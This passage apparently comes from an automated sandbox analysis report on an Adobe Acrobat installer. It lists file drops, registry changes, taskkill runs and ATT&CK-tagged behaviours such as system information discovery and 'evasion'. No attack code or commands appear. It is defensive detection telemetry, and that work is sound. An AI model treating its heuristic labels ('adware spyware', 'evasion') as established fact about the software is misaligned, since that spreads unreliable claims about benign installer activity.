File created	C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\OWP\default\js\vendor.min.js	SingleClientServicesUpdater.exe
File created	C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\s_filterselected-hover_32.svg	SingleClientServicesUpdater.exe
File opened for modification	C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\S_Facebook_18_N_D.svg	SingleClientServicesUpdater.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Download_on_the_App_Store_Badge_sv_135x40.svg	MsiExec.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\uk-ua\ui-strings.js	MsiExec.exe
File opened for modification	C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\unified-share\js\nls\pt-br\ui-strings.js	SingleClientServicesUpdater.exe
File opened for modification	C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\images\bell_empty.png	SingleClientServicesUpdater.exe
File created	C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\es-es\ui-strings.js	SingleClientServicesUpdater.exe
File created	C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\fss\img\tools\themes\dark\check.cur	SingleClientServicesUpdater.exe
File created	C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sign-services-auth\js\nls\it-it\ui-strings.js	SingleClientServicesUpdater.exe
File created	C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\signatures\js\nls\ca-es\ui-strings.js	SingleClientServicesUpdater.exe
File created	C:\Program Files\Adobe\Acrobat DC\Acrobat\Sequences\FRA\Action03.sequ	msiexec.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\ja-jp\ui-strings.js	MsiExec.exe
File created	C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\themes\dark\S_Star_24_N.svg	SingleClientServicesUpdater.exe
File created	C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\themes\dark\export.svg	SingleClientServicesUpdater.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\ja-jp\ui-strings.js	MsiExec.exe
File opened for modification	C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\s_move_18.svg	SingleClientServicesUpdater.exe
File opened for modification	C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\s_listview-hover.svg	SingleClientServicesUpdater.exe
File created	C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\ru-ru\ui-strings.js	SingleClientServicesUpdater.exe
File created	C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\selection-action-plugins\epdf\plugin.js	SingleClientServicesUpdater.exe
File created	C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\tr-tr\ui-strings.js	SingleClientServicesUpdater.exe
File opened for modification	C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\unified-share\js\nls\ro-ro\ui-strings.js	SingleClientServicesUpdater.exe
File opened for modification	C:\Program Files\Adobe\Acrobat DC\Acrobat\Locale\fr_FR\Compare.FRA	msiexec.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\adobe_spinner.gif	MsiExec.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\images\themes\dark\example_icons.png	MsiExec.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\welcome.png	MsiExec.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\eu-es\ui-strings.js	MsiExec.exe
File created	C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Download_on_the_App_Store_Badge_en_135x40.svg	SingleClientServicesUpdater.exe
File created	C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1036-1033-7760-BC15014EA700}\Languages.cab	D9EDD30C-1070-4941-96C7-6C0BEE410C09
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\id_get.svg	MsiExec.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\Adobe Cloud Services.pdf	MsiExec.exe
File opened for modification	C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\de-de\ui-strings.js	SingleClientServicesUpdater.exe
File created	C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\themes\dark\bun.png	SingleClientServicesUpdater.exe
File opened for modification	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	MsiExec.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\s_signed_out.svg	MsiExec.exe
File opened for modification	C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\desktop-split-popups-chunk.js	SingleClientServicesUpdater.exe
File created	C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\[email protected]	SingleClientServicesUpdater.exe
File created	C:\Program Files\Adobe\Acrobat DC\Acrobat\RdrApp\FRA\InAppSign.aapp	msiexec.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\vi_get.svg	MsiExec.exe
File created	C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\file_types\themes\dark\selection-actions.png	SingleClientServicesUpdater.exe
File created	C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\themes\dark\S_IlluError_136x136.svg	SingleClientServicesUpdater.exe
File opened for modification	C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\signatures\js\nls\uk-ua\ui-strings.js	SingleClientServicesUpdater.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\hi_contrast\core_icons_hiContrast_wob.png	MsiExec.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\js\nls\fi-fi\ui-strings.js	MsiExec.exe
File created	C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\translations-tr-TR-json-chunk.js	SingleClientServicesUpdater.exe

Drops file in Windows directory 64 IoCs

Processes:

msiexec.exe

description	ioc	process
File opened for modification	C:\Windows\Installer\MSI72D.tmp	msiexec.exe
File created	C:\Windows\Installer\e5a0e83.HDR	msiexec.exe
File created	C:\Windows\Installer\$PatchCache$\Managed\68AB67CA630133017706CB5110E47A00\21.1.20135\adobearm.exe.BDCA7721_F290_4124_BBED_7A15FE7694EB	msiexec.exe
File opened for modification	C:\Windows\Installer\$PatchCache$\Managed\68AB67CA7DA73301B744CAF070E41400\15.7.20033\adobehunspellplugin.dll	msiexec.exe
File opened for modification	C:\Windows\Installer\$PatchCache$\Managed\68AB67CA7DA73301B744CAF070E41400\15.7.20033\drvSOFT.x3d	msiexec.exe
File created	C:\Windows\Installer\e5a0e5b.HDR	msiexec.exe
File opened for modification	C:\Windows\Installer\e5a0eab.HDR	msiexec.exe
File created	C:\Windows\Installer\e5a0f5a.HDR	msiexec.exe
File opened for modification	C:\Windows\Installer\$PatchCache$\Managed\68AB67CA630133017706CB5110E47A00\21.1.20135\AcroPDF.dll	msiexec.exe
File opened for modification	C:\Windows\Installer\$PatchCache$\Managed\68AB67CA630133017706CB5110E47A00\21.1.20135\DigSig.FRA	msiexec.exe
File created	C:\Windows\Installer\e5a0e52.HDR	msiexec.exe
File opened for modification	C:\Windows\Installer\e5a0f0d.HDR	msiexec.exe
File created	C:\Windows\Installer\$PatchCache$\Managed\68AB67CA630133017706CB5110E47A00\21.1.20135\CPDF_Full.aapp	msiexec.exe
File opened for modification	C:\Windows\Installer\$PatchCache$\Managed\68AB67CA7DA73301B744CAF070E41400\15.7.20033\plugin.x.manifest	msiexec.exe
File opened for modification	C:\Windows\Installer\e5a0e85.HDR	msiexec.exe
File opened for modification	C:\Windows\Installer\e5a0ef5.HDR	msiexec.exe
File created	C:\Windows\Installer\e5a0f21.HDR	msiexec.exe
File opened for modification	C:\Windows\Installer\e5a0f3e.HDR	msiexec.exe
File opened for modification	C:\Windows\Installer\e5a0b01.HDR	msiexec.exe
File created	C:\Windows\Installer\$PatchCache$\Managed\68AB67CA630133017706CB5110E47A00\21.1.20135\DirectInk.dll	msiexec.exe
File opened for modification	C:\Windows\Installer\$PatchCache$\Managed\68AB67CA7DA73301B744CAF070E41400\15.7.20033\Acrofx32.dll	msiexec.exe
File opened for modification	C:\Windows\Installer\$PatchCache$\Managed\68AB67CA630133017706CB5110E47A00\21.1.20135\displaylanguagenames.ar.txt	msiexec.exe
File opened for modification	C:\Windows\Installer\$PatchCache$\Managed\68AB67CA630133017706CB5110E47A00\21.1.20135\displaylanguagenames.pt_pt.t	msiexec.exe
File opened for modification	C:\Windows\Installer\$PatchCache$\Managed\68AB67CA630133017706CB5110E47A00\21.1.20135\Protect_R_RHP.aapp12341	msiexec.exe
File opened for modification	C:\Windows\Installer\e5a0ea9.HDR	msiexec.exe
File created	C:\Windows\Installer\$PatchCache$\Managed\68AB67CA630133017706CB5110E47A00\21.1.20135\ConvertPDF_RHP.aapp	msiexec.exe
File opened for modification	C:\Windows\Installer\$PatchCache$\Managed\68AB67CA630133017706CB5110E47A00\21.1.20135\viewer.aapp26	msiexec.exe
File created	C:\Windows\Installer\e5a0e97.HDR	msiexec.exe
File opened for modification	C:\Windows\Installer\e5a0f34.HDR	msiexec.exe
File created	C:\Windows\Installer\e5a0f5c.HDR	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIFA08.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\$PatchCache$\Managed\68AB67CA7DA73301B744CAF070E41400\15.7.20033\ccme_ecc.dll	msiexec.exe
File created	C:\Windows\Installer\e5a0e38.HDR	msiexec.exe
File opened for modification	C:\Windows\Installer\$PatchCache$\Managed\68AB67CA630133017706CB5110E47A00\21.1.20135\displaylanguagenames.en_us.t	msiexec.exe
File opened for modification	C:\Windows\Installer\$PatchCache$\Managed\68AB67CA630133017706CB5110E47A00\21.1.20135\displaylanguagenames.sk_sk.t	msiexec.exe
File created	C:\Windows\Installer\e5a0e25.HDR	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIF7F1.tmp	msiexec.exe
File created	C:\Windows\Installer\$PatchCache$\Managed\68AB67CA630133017706CB5110E47A00\21.1.20135\displaylanguagenames.et.txt	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI5C7D.tmp	msiexec.exe
File created	C:\Windows\Installer\$PatchCache$\Managed\68AB67CA630133017706CB5110E47A00\21.1.20135\pddom.FRA	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI392A.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\$PatchCache$\Managed\68AB67CA630133017706CB5110E47A00\21.1.20135\displaylanguagenames.ru_ua.t	msiexec.exe
File opened for modification	C:\Windows\Installer\$PatchCache$\Managed\68AB67CA630133017706CB5110E47A00\21.1.20135\displaylanguagenames.sl_si.t	msiexec.exe
File created	C:\Windows\Installer\$PatchCache$\Managed\68AB67CA630133017706CB5110E47A00\21.1.20135\SendMail.fra	msiexec.exe
File created	C:\Windows\Installer\$PatchCache$\Managed\68AB67CA630133017706CB5110E47A00\21.1.20135\reflow.api	msiexec.exe
File opened for modification	C:\Windows\Installer\e5a0e30.HDR	msiexec.exe
File created	C:\Windows\Installer\$PatchCache$\Managed\68AB67CA630133017706CB5110E47A00\21.1.20135\concrt140.dll.E281B893_10D7_34CE_BB0E_B69D88E154A5	msiexec.exe
File opened for modification	C:\Windows\Installer\$PatchCache$\Managed\68AB67CA630133017706CB5110E47A00\21.1.20135\displaylanguagenames.es_py.t	msiexec.exe
File opened for modification	C:\Windows\Installer\$PatchCache$\Managed\68AB67CA630133017706CB5110E47A00\21.1.20135\ACE.dll2	msiexec.exe
File opened for modification	C:\Windows\Installer\$PatchCache$\Managed\68AB67CA630133017706CB5110E47A00\21.1.20135\bibutils.dll1	msiexec.exe
File created	C:\Windows\Installer\$PatchCache$\Managed\68AB67CA630133017706CB5110E47A00\21.1.20135\FRAaction06.sequ	msiexec.exe
File opened for modification	C:\Windows\Installer\e5a0f54.HDR	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI1189.tmp	msiexec.exe
File created	C:\Windows\Installer\$PatchCache$\Managed\68AB67CA630133017706CB5110E47A00\21.1.20135\sqlite.dll	msiexec.exe
File opened for modification	C:\Windows\Installer\$PatchCache$\Managed\68AB67CA630133017706CB5110E47A00\21.1.20135\RichMedia_R_RHP.aapp	msiexec.exe
File opened for modification	C:\Windows\Installer\{AC76BA86-1036-1033-7760-BC15014EA700}\_XDPFileType.ico	msiexec.exe
File opened for modification	C:\Windows\Installer\e5a0ed5.HDR	msiexec.exe
File created	C:\Windows\Installer\e5a0f15.HDR	msiexec.exe
File created	C:\Windows\Installer\e5a0f69.HDR	msiexec.exe
File created	C:\Windows\Installer\$PatchCache$\Managed\68AB67CA630133017706CB5110E47A00\21.1.20135\displaylanguagenames.ca.txt	msiexec.exe
File created	C:\Windows\Installer\$PatchCache$\Managed\68AB67CA630133017706CB5110E47A00\21.1.20135\Scan.FRA	msiexec.exe
File opened for modification	C:\Windows\Installer\$PatchCache$\Managed\68AB67CA7DA73301B744CAF070E41400\15.7.20033\Edit_R_Full.aapp	msiexec.exe
File created	C:\Windows\Installer\e5a0e5d.HDR	msiexec.exe
File opened for modification	C:\Windows\Installer\$PatchCache$\Managed\68AB67CA630133017706CB5110E47A00\21.1.20135\license.html_4093BE042ADD4B18975E7ED0D156BAC4	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

Processes:

msedge.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Kills process with taskkill 64 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
4832	taskkill.exe
1156	taskkill.exe
3776	taskkill.exe
496	taskkill.exe
4936	taskkill.exe
3152	taskkill.exe
1368	taskkill.exe
640	taskkill.exe
3280	taskkill.exe
3740	taskkill.exe
4688	taskkill.exe
4392	taskkill.exe
3536	taskkill.exe
4964	taskkill.exe
828	taskkill.exe
3324	taskkill.exe
3892	taskkill.exe
3772	taskkill.exe
1172	taskkill.exe
4792	taskkill.exe
4640	taskkill.exe
3208	taskkill.exe
4336	taskkill.exe
1080	taskkill.exe
1676	taskkill.exe
1700	taskkill.exe
836	taskkill.exe
5104	taskkill.exe
3844	taskkill.exe
2780	taskkill.exe
4716	taskkill.exe
1248	taskkill.exe
5096	taskkill.exe
4476	taskkill.exe
4892	taskkill.exe
3240	taskkill.exe
4788	taskkill.exe
1748	taskkill.exe
4928	taskkill.exe
4548	taskkill.exe
4324	taskkill.exe
4916	taskkill.exe
4328	taskkill.exe
3264	taskkill.exe
496	taskkill.exe
2588	taskkill.exe
3644	taskkill.exe
3780	taskkill.exe
2148	taskkill.exe
4160	taskkill.exe
4448	taskkill.exe
2300	taskkill.exe
2628	taskkill.exe
3348	taskkill.exe
4980	taskkill.exe
1420	taskkill.exe
2116	taskkill.exe
1316	taskkill.exe
4352	taskkill.exe
4244	taskkill.exe
3236	taskkill.exe
4884	taskkill.exe
4120	taskkill.exe
2196	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 61 IoCs

adware spyware

Modify Registry

Processes:

msiexec.exeAcrobat.exeMsiExec.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{BE0A2BA1-1E09-4A59-BE36-AA32DC25931B}\AppPath = "C:\\Program Files\\Adobe\\Acrobat DC\\Acrobat"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{EF27C7F4-B47A-4011-8177-6408DC5DDB1A}\AppName = "AcroCEF.exe"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\AcroLicApp.exe = "11000"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{89322207-5E2E-40CE-90ED-5957180E3B2C}	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{BD57A9B2-4E7D-4892-9107-9F4106472DA4}\Compatibility Flags = "1024"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{BE0A2BA1-1E09-4A59-BE36-AA32DC25931B}	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{89322207-5E2E-40CE-90ED-5957180E3B2C}	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{76E2369A-75BA-41F9-8B9E-16059E5CF9A6}\Policy = "3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{89322207-5E2E-40CE-90ED-5957180E3B2C}\AppName = "AcroBroker.exe"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{BE0A2BA1-1E09-4A59-BE36-AA32DC25931B}\AppPath = "C:\\Program Files\\Adobe\\Acrobat DC\\Acrobat"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{76E2369A-75BA-41F9-8B9E-16059E5CF9A6}	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{BE0A2BA1-1E09-4A59-BE36-AA32DC25931B}\Policy = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{7AC06A6F-4C88-4707-8DEC-61017CB50E1E}	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\AASIapp.exe = "11000"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{191DA03B-FBE7-4579-B64D-273DC8358F1B}\Policy = "3"	msiexec.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\Acrobat.exe = "11000"	Acrobat.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{7AC06A6F-4C88-4707-8DEC-61017CB50E1E}\Policy = "3"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\AcroDist.exe = "11000"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{BE0A2BA1-1E09-4A59-BE36-AA32DC25931B}\AppName = "AdobeCollabSync.exe"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\Acrobat.exe = "11000"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{EF27C7F4-B47A-4011-8177-6408DC5DDB1A}\AppName = "AcroCEF.exe"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\Acrodist.exe = "11000"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{191DA03B-FBE7-4579-B64D-273DC8358F1B}	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{191DA03B-FBE7-4579-B64D-273DC8358F1B}\Policy = "3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{BE0A2BA1-1E09-4A59-BE36-AA32DC25931B}\AppName = "AdobeCollabSync.exe"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\Acrobat.exe = "11000"	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{B7278BD0-7970-47D6-8954-99B2343EED88}	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	Acrobat.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{76E2369A-75BA-41F9-8B9E-16059E5CF9A6}\AppName = "AdobeARM.exe"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{89322207-5E2E-40CE-90ED-5957180E3B2C}\AppName = "AcroBroker.exe"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{89322207-5E2E-40CE-90ED-5957180E3B2C}\AppPath = "C:\\Program Files\\Adobe\\Acrobat DC\\Acrobat\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{7AC06A6F-4C88-4707-8DEC-61017CB50E1E}\AppName = "AcroRd32.exe"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{BE0A2BA1-1E09-4A59-BE36-AA32DC25931B}	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{B723F941-52A2-4392-B500-60F3889659B4}	MsiExec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{191DA03B-FBE7-4579-B64D-273DC8358F1B}\AppName = "Acrobat.exe"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\AASIapp.exe = "11000"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{191DA03B-FBE7-4579-B64D-273DC8358F1B}\AppPath = "C:\\Program Files\\Adobe\\Acrobat DC\\Acrobat"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{EF27C7F4-B47A-4011-8177-6408DC5DDB1A}\AppPath = "C:\\Program Files\\Adobe\\Acrobat DC\\Acrobat\\AcroCEF"	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{15B3FB63-66F4-4EFC-B717-BB283B85E79B}	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{9C6A861C-B233-4994-AFB1-C158EE4FC578}	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{8E1F80F4-953F-41E7-8460-E64AE5BE4ED3}	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{191DA03B-FBE7-4579-B64D-273DC8358F1B}\AppPath = "C:\\Program Files\\Adobe\\Acrobat DC\\Acrobat"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{89322207-5E2E-40CE-90ED-5957180E3B2C}\Policy = "3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{89322207-5E2E-40CE-90ED-5957180E3B2C}\AppPath = "C:\\Program Files\\Adobe\\Acrobat DC\\Acrobat\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{BE0A2BA1-1E09-4A59-BE36-AA32DC25931B}\Policy = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{EF27C7F4-B47A-4011-8177-6408DC5DDB1A}	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{EF27C7F4-B47A-4011-8177-6408DC5DDB1A}\Policy = "3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{7AC06A6F-4C88-4707-8DEC-61017CB50E1E}\AppPath = "C:\\Program Files\\Adobe\\Acrobat DC\\Acrobat"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{191DA03B-FBE7-4579-B64D-273DC8358F1B}	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{89322207-5E2E-40CE-90ED-5957180E3B2C}\Policy = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{EF27C7F4-B47A-4011-8177-6408DC5DDB1A}	msiexec.exe
